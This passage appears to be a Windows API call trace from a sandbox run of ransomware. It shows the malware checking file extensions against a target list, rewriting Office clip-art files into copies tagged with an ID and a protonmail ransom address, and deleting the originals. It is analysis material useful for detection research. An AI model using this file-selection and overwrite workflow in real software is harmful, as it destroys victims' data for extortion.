	[0170.312] lstrlenW (lpString=".zip") returned 4
	[0170.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.312] lstrlenW (lpString=".rar") returned 4
	[0170.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.312] lstrlenW (lpString=".bz2") returned 4
	[0170.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.312] lstrlenW (lpString=".7z") returned 3
	[0170.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0170.312] lstrlenW (lpString=".dbf") returned 4
	[0170.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0170.313] lstrlenW (lpString=".1cd") returned 4
	[0170.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0170.313] lstrlenW (lpString=".jpg") returned 4
	[0170.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0170.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0170.313] lstrlenW (lpString=".doc") returned 4
	[0170.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.313] lstrlenW (lpString=".docx") returned 5
	[0170.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0170.313] lstrlenW (lpString=".pdf") returned 4
	[0170.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.313] lstrlenW (lpString=".xls") returned 4
	[0170.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.313] lstrlenW (lpString=".xlsx") returned 5
	[0170.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0170.313] lstrlenW (lpString=".ppt") returned 4
	[0170.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0170.313] lstrlenW (lpString=".zip") returned 4
	[0170.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.313] lstrlenW (lpString=".rar") returned 4
	[0170.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.313] lstrlenW (lpString=".bz2") returned 4
	[0170.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.313] lstrlenW (lpString=".7z") returned 3
	[0170.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0170.314] lstrlenW (lpString=".dbf") returned 4
	[0170.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0170.314] lstrlenW (lpString=".1cd") returned 4
	[0170.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0170.314] lstrlenW (lpString=".jpg") returned 4
	[0170.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.314] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0170.314] lstrlenW (lpString="FD00543_.WMF") returned 12
	[0170.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0170.314] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=1472) returned 1
	[0170.314] CloseHandle (hObject=0x510) returned 1
	[0170.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220
	[0170.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0170.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0170.315] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.315] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0170.316] GetLastError () returned 0x0
	[0170.316] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x5c0, lpOverlapped=0x0) returned 1
	[0170.592] WriteFile (in: hFile=0x47c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x5d0, lpOverlapped=0x0) returned 1
	[0170.593] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.595] WriteFile (in: hFile=0x47c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.595] SetEndOfFile (hFile=0x47c) returned 1
	[0171.355] CloseHandle (hObject=0x47c) returned 1
	[0171.356] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.356] SetEndOfFile (hFile=0x510) returned 1
	[0171.383] CloseHandle (hObject=0x510) returned 1
	[0171.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0171.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1
	[0171.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0171.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0171.384] lstrlenW (lpString=".doc") returned 4
	[0171.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.384] lstrlenW (lpString=".docx") returned 5
	[0171.384] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.384] lstrlenW (lpString=".pdf") returned 4
	[0171.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.384] lstrlenW (lpString=".xls") returned 4
	[0171.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.384] lstrlenW (lpString=".xlsx") returned 5
	[0171.384] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.384] lstrlenW (lpString=".ppt") returned 4
	[0171.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0171.384] lstrlenW (lpString=".zip") returned 4
	[0171.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.384] lstrlenW (lpString=".rar") returned 4
	[0171.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.385] lstrlenW (lpString=".bz2") returned 4
	[0171.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.385] lstrlenW (lpString=".7z") returned 3
	[0171.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0171.385] lstrlenW (lpString=".dbf") returned 4
	[0171.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0171.385] lstrlenW (lpString=".1cd") returned 4
	[0171.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0171.385] lstrlenW (lpString=".jpg") returned 4
	[0171.385] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0171.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0171.385] lstrlenW (lpString=".doc") returned 4
	[0171.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.385] lstrlenW (lpString=".docx") returned 5
	[0171.385] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.385] lstrlenW (lpString=".pdf") returned 4
	[0171.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.385] lstrlenW (lpString=".xls") returned 4
	[0171.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.385] lstrlenW (lpString=".xlsx") returned 5
	[0171.385] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.385] lstrlenW (lpString=".ppt") returned 4
	[0171.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0171.385] lstrlenW (lpString=".zip") returned 4
	[0171.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.386] lstrlenW (lpString=".rar") returned 4
	[0171.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.386] lstrlenW (lpString=".bz2") returned 4
	[0171.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.386] lstrlenW (lpString=".7z") returned 3
	[0171.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0171.386] lstrlenW (lpString=".dbf") returned 4
	[0171.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0171.386] lstrlenW (lpString=".1cd") returned 4
	[0171.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0171.386] lstrlenW (lpString=".jpg") returned 4
	[0171.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.386] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0171.386] lstrlenW (lpString="FD00965_.WMF") returned 12
	[0171.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0171.387] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=15164) returned 1
	[0171.387] CloseHandle (hObject=0x510) returned 1
	[0171.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220
	[0171.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0171.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0171.387] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.387] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0171.388] GetLastError () returned 0x0
	[0171.388] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x3b3c, lpOverlapped=0x0) returned 1
	[0171.390] WriteFile (in: hFile=0x47c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x3b40, lpOverlapped=0x0) returned 1
	[0171.391] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.391] WriteFile (in: hFile=0x47c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.392] SetEndOfFile (hFile=0x47c) returned 1
	[0171.392] CloseHandle (hObject=0x47c) returned 1
	[0171.392] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.392] SetEndOfFile (hFile=0x510) returned 1
	[0171.395] CloseHandle (hObject=0x510) returned 1
	[0171.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0171.396] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1
	[0171.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0171.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0171.396] lstrlenW (lpString=".doc") returned 4
	[0171.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.396] lstrlenW (lpString=".docx") returned 5
	[0171.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.396] lstrlenW (lpString=".pdf") returned 4
	[0171.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.396] lstrlenW (lpString=".xls") returned 4
	[0171.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.396] lstrlenW (lpString=".xlsx") returned 5
	[0171.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.396] lstrlenW (lpString=".ppt") returned 4
	[0171.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0171.396] lstrlenW (lpString=".zip") returned 4
	[0171.397] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.397] lstrlenW (lpString=".rar") returned 4
	[0171.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.397] lstrlenW (lpString=".bz2") returned 4
	[0171.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.397] lstrlenW (lpString=".7z") returned 3
	[0171.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0171.397] lstrlenW (lpString=".dbf") returned 4
	[0171.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0171.397] lstrlenW (lpString=".1cd") returned 4
	[0171.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0171.397] lstrlenW (lpString=".jpg") returned 4
	[0171.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0171.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0171.397] lstrlenW (lpString=".doc") returned 4
	[0171.397] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.397] lstrlenW (lpString=".docx") returned 5
	[0171.397] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.397] lstrlenW (lpString=".pdf") returned 4
	[0171.397] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.397] lstrlenW (lpString=".xls") returned 4
	[0171.397] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.397] lstrlenW (lpString=".xlsx") returned 5
	[0171.397] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.397] lstrlenW (lpString=".ppt") returned 4
	[0171.397] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0171.398] lstrlenW (lpString=".zip") returned 4
	[0171.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.398] lstrlenW (lpString=".rar") returned 4
	[0171.398] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.398] lstrlenW (lpString=".bz2") returned 4
	[0171.398] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.398] lstrlenW (lpString=".7z") returned 3
	[0171.398] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0171.398] lstrlenW (lpString=".dbf") returned 4
	[0171.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0171.398] lstrlenW (lpString=".1cd") returned 4
	[0171.398] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0171.398] lstrlenW (lpString=".jpg") returned 4
	[0171.398] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.398] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0171.398] lstrlenW (lpString="FD01074_.WMF") returned 12
	[0171.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0171.401] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=4634) returned 1
	[0171.402] CloseHandle (hObject=0x510) returned 1
	[0171.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220
	[0171.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0171.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0171.404] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.404] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0171.405] GetLastError () returned 0x0
	[0171.405] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x121a, lpOverlapped=0x0) returned 1
	[0171.407] WriteFile (in: hFile=0x47c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x1220, lpOverlapped=0x0) returned 1
	[0171.408] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.408] WriteFile (in: hFile=0x47c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.408] SetEndOfFile (hFile=0x47c) returned 1
	[0171.408] CloseHandle (hObject=0x47c) returned 1
	[0171.408] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.408] SetEndOfFile (hFile=0x510) returned 1
	[0171.777] CloseHandle (hObject=0x510) returned 1
	[0171.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0171.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1
	[0171.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0171.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0171.779] lstrlenW (lpString=".doc") returned 4
	[0171.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.779] lstrlenW (lpString=".docx") returned 5
	[0171.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.779] lstrlenW (lpString=".pdf") returned 4
	[0171.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.779] lstrlenW (lpString=".xls") returned 4
	[0171.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.779] lstrlenW (lpString=".xlsx") returned 5
	[0171.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.779] lstrlenW (lpString=".ppt") returned 4
	[0171.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
